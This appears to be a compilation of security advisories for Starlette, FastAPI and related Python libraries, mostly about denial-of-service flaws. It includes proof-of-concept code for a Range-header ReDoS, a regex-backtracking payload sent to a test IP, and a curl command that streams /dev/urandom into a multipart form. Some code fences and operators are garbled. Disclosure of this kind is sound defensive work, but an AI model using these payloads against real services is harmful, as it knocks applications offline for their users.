Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in `FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
`python
starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
`
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
Direct starlette.responses.FileResponse responses
PoC
`python
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' num_zeros + '0-'"""
return ("0" length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
``
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
FastAPI Guard regex bypass — XSS/SQLi through middleware
Bounded regex in fastapi-guard 3.0.1 bypassed with payloads exceeding length limits.
fastapi-guard is vulnerable to ReDoS through inefficient regex
Summary
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7
``python
payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('*n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
`
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False` are vulnerable to DoS.
Starlette Denial of service (DoS) via multipart/form-data
Summary
Starlette treats multipart/form-data parts without a filename as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette.
PoC
``python
from starlette.applications import Starlette
from starlette.routing import Route
async def poc(request):
async with request.form():
pass
app = Starlette(routes=[
Route('/', poc, methods=["POST"]),
])
`
`sh
curl http://localhost:8000 -F 'big=</dev/urandom'
``
Impact
This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests.
python-jose algorithm confusion with OpenSSH ECDSA keys
python-jose through 3.3.0 has algorithm confusion with OpenSSH ECDSA keys and other key formats. This is similar to CVE-2022-29217.
MultipartParser denial of service with too many fields or files
Impact
The MultipartParser using the package python-multipart accepts an unlimited number of multipart parts (form fields or files).
Processing too many parts results in high CPU usage and high memory usage, eventually leading to an <abbr title="out of memory">OOM</abbr> process kill.
This can be triggered by sending too many small form fields with no content, or too many empty files.
For this to take effect application code has to:
Have python-multipart installed and
call request.form()
or via another framework like FastAPI, using form field parameters or UploadFile parameters, which in turn calls request.form().
Patches
The vulnerability is solved in Starlette 0.25.0 by making the maximum fields and files customizable and with a sensible default (1000).
Applications will be secure by just upgrading their Starlette version to 0.25.0 (or FastAPI to 0.92.0).
If application code needs to customize the new max field and file number, there are new request.form() parameters (with the default values):
max_files=1000
max_fields=1000
Workarounds
Applications that don't install python-multipart or that don't use form fields are safe.
In older versions, it's also possible to instead of calling request.form() call request.stream() and parse the form data in internal code.
In most cases, the best solution is to upgrade the Starlette version.
References
This was reported in private by @das7pad via internal email. He also coordinated the fix across multiple frameworks and parsers.
The details about how multipart/form-data is structured and parsed are in the RFC 7578.
FastAPI IDOR — route missing authorization check (found by Claude Code)
FastAPI routes with resource ID path parameters had no ownership check. validate_project_access was a no-op stub.
FastAPI Guard Auth Bypass via X-Forwarded-For
Attacker manipulates X-Forwarded-For header to bypass IP-based access controls. Fixed in fastapi-guard 2.0.0.
FastAPI unauthenticated RCE via code eval endpoint (Langflow)
FastAPI app executed arbitrary Python via /api/v1/validate/code without authentication. Actively exploited in wild.
FastAPI CSRF via text/plain content-type bypass
FastAPI <0.65.2 accepted JSON from text/plain requests enabling CSRF attacks without preflight.